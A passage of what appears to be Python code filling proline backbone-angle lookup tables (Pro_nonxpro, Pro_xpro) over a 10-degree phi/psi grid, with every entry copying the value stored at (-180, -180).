Pro_nonxpro[(140, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(150, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(160, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(170, 170)]=Pro_nonxpro[(-180, -180)]
Pro_xpro = cdl_database["Pro_xpro"]
Pro_xpro[(-180, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-180, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-170, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-160, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-150, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-140, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-130, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-120, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-110, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 110)]=Pro_xpro[(-180, -180)]
